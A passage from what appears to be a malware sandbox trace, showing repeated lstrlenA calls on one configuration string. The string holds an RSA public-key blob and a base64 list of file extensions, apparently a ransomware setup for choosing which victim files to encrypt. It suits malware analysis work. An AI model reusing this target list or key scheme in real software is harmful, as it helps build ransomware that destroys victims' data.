sIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA 